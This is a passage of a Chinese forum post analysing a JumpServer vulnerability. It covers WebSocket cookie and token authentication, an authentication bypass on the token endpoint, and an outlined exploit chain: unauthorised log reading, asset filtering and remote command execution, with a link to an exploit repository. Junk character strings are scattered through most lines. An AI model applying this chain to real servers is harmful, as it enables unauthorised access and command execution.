  o4 ~/ t& ^: g( D! I7 K  F! n+ wUpgrade: websocket$ D; ^2 R* R, x, u  x3 W
Sec-WebSocket-Accept: zdg0gD/H5Ev4u9hn5oIxlSVdvDg=% i7 M" E! T% H8 ]. p+ D! H& e
Sec-WebSocket-Protocol: JMS-KOKO$ i: Y& z8 w. f0 Y
注意到使用web终端功能时,系统主要发起两个请求,分别是: ]5 a) x, G2 X! B0 M3 W( a) V
- [1 ~7 ~. J7 e5 n/ _: g. C& i# P$ C. ^
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
4 \8 P' V8 v3 thttp://192.168.18.182:8080/koko/ ... 8-a983-1de24e7c3d73
! ~5 o0 ^4 s1 r- s; ~/ E图片
8 |" ?2 ~$ p& t' k: i9 H5 }0 [& ~
+ M0 l4 u: ~9 G" D5 p" O* a5 B. L# N实际进行sokcet通信的是/koko/ws/terminal/接口,/koko/terminal/接口是协调处理sokcet通信输入输出的数据,将结果与前端融合并展示给用户,提供一个可视终端的效果。
/ K# d: `( {, a) ~) v& M' Q
1 Y4 D2 x9 X2 p- j5 G$ r3 i图片
0 R  n9 y7 M6 u6 ^
3 A) Y" t8 R1 l6 O, ?" D! Y5 Q, lWebsocket认证
( B1 a* a4 |: K3 E7 U- Z1 C+ g% M1 S即使用户经过了系统的认证,当与WebSocket接口进行socket连接时,同样需要再次认证。
' m; ^1 x: ~+ ?" U: ?* {/ p  y7 e; G
一般Websocket的身份认证都是发生在握手阶段,客户端向验证请求中的内容,只允许经过身份验证的用户建立成功的Websocket连接。' t" @7 k$ }/ k* d, a( n1 }

( ], B1 y; Z/ b8 d可以通过基于cookie的传统方式,或基于Token的方式进行认证。
! J& q6 K) W, o8 a; S4 d$ W% X& v* [& c; d
传统的基于cookie的方式0 q& [, L7 H5 b. v* f5 b$ e( R
采用这种方式,应用本身的认证和提供WebSocket的服务,可以是同一套session cookie的管理机制,也可以WebSocket服务接口自己来维护基于cookie的认证。$ ?! T6 h! N: S+ t% M% h: _

. p2 c# j" L& I- D; D* WJumpserver系统Web终端的功能,调用的/koko/ws/terminal/接口就是采用这种方式。) v5 r, y2 A& f, L. Q: ~! W
: j6 [# g6 E9 u: ]& }" W1 J
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
& M& a: |: z" D1 P  y6 v图片+ [, G+ H  X. Z/ J: r
0 @5 k* u! }1 y+ v% Z) Q( G
请求URL中携带的参数值 target_id、type、system_user_id 基本长期复用,接口主要依靠建立会话传送的Cookie来识别身份,这里的session cookie的管理机制与系统是共享的。
! P  r3 E3 l6 B- m, u( \' ^: w  ^+ J$ U1 G6 `: l( I
基于Token的方式
7 I& Q; F2 r! N$ N( @当客户端要与接口建立连接时,向http服务获取token,客户端作为初始握手的一部分携带有效token打开websocket连接,服务端验证token有效性合法性,认证通过则同意建立websocket会话连接。* o' L, H% q# Y- T
9 b6 D$ e' m) N1 K; _: t5 D
漏洞执行命令利用的/koko/ws/token/接口采用的就是基于token方式进行认证2 D7 q  y5 n6 D9 X2 d! u4 o# a

4 ^: n) F) Q* a, L1 ^2 |* ^4 q" {( P' lws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d
: Q  p& p4 s; M$ X& m# M接口取target_id参数值,识别参数值有效性及对应用户身份,认证通过则同意建立websocket连接。图片$ {5 Q& q; S; b; \. C
1 j. R1 F. ~+ I/ Z
认证方式对比
. g2 c& _- _* Q: [, n0 ?; \传统基于cookie的方式,若websocket接口与系统协调同一种共享的认证方式,造成websocket服务与应用服务的耦合性大,依赖性强。若websocket服务自己维护基于cookie的认证,它只是一个解决通信连接的服务,为此付出成本不小。综上,还是采用基于token的认证方式更加高效。
7 d- B8 u# k* A6 S! j: b# }9 d8 }7 H* Z) S% g7 l
采用基于token的认证方式则需要考虑提供token服务的API安全性,如本文分析的漏洞,提供token的/connection-token接口存在认证绕过问题,攻击者通过绕过/connection-token接口的身份验证,获取token,在有效时间内可与目标建立websocket连接。4 M, \# S- |% Q  e. W$ N- _

/ r1 _- e( i8 J& s  n0x05利用工具$ T# M) |$ S2 H$ l5 J4 B
编写思路
' x1 D. i, h4 w, t1 H1.读取日志
$ K. O7 B5 r( z, k* I
2 ~2 V) Y3 [+ W! w根据上文漏洞利用的流程,需要先通过未授权的/ws/ops/tasks/log/接口读取日志文件/opt/jumpserver/logs/gunicorn.log ,其中包含大量的接口请求记录,我们需要提取/api/v1/perms/asset-permissions/user/validate/ 接口信息。$ d! Q$ x' L9 \

4 \4 F$ P4 Z/ \. X+ A; i图片
. ~; u  ]; W+ X4 H1 W" F
- B$ W$ W! S( D0 y8 C2.筛选可用资产3 r' t/ \0 P; T
# x# P, ?6 K5 Y- r3 z
日志文件中提取出的数据为历史连接记录,但不一定可以被利用,需要对其进行连接测试,筛选出可被利用的资产。
7 t9 T  r9 m; \' _" q' x) T# R8 f5 I1 l
图片9 {. z  {8 {. m$ m0 O

9 S( K7 k9 f3 k  t6 L) @5 h& _3.执行命令
- {# A2 r1 n4 h( m5 o; S/ P! n# C
在可用资产列表中选择目标进行攻击,执行指定命令。
/ e5 A  S- D9 V* F7 v* R# Y
/ u' ]5 T: V# x: {图片! T. p. ?' d3 ^1 n: l2 d
1 [$ c6 b, z) c2 w/ ]4 P
更多细节请移步:https://github.com/Veraxy00/Jumpserver-EXP
/ Q9 a0 x4 T7 a3 a- s, M. m& R# V6 L* O# Q) G
总结& s, u, J; ~* @' h0 [; _
1.通过未授权的 /ws/ops/tasks/log/ 接口读取日志文件,我们仅筛选了部分接口信息,日志中包含大量数据,还有更多利用价值。0 r5 w( k* j4 o
2.官方给出的漏洞影响版本不准确,部分版本由于接口认证方式问题不可被利用。
9 W+ s6 K% ]! ~# u  a" C$ T3.根据实际场景不同,漏洞利用工具还须继续改进,欢迎提出改进建议。
# K* C; w3 ?" j  u* }
2 n7 p0 m6 U8 Q1 k8 F: [
您需要登录后才可以回帖 登录 | 注册

本版积分规则

返回首页|Archiver|手机版|小黑屋|易陆发现技术论坛 ( 蜀ICP备2026014127号-1 )

GMT+8, 2026-6-12 00:48 , Processed in 0.017033 second(s), 22 queries .

Powered by Discuz! X5.0

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表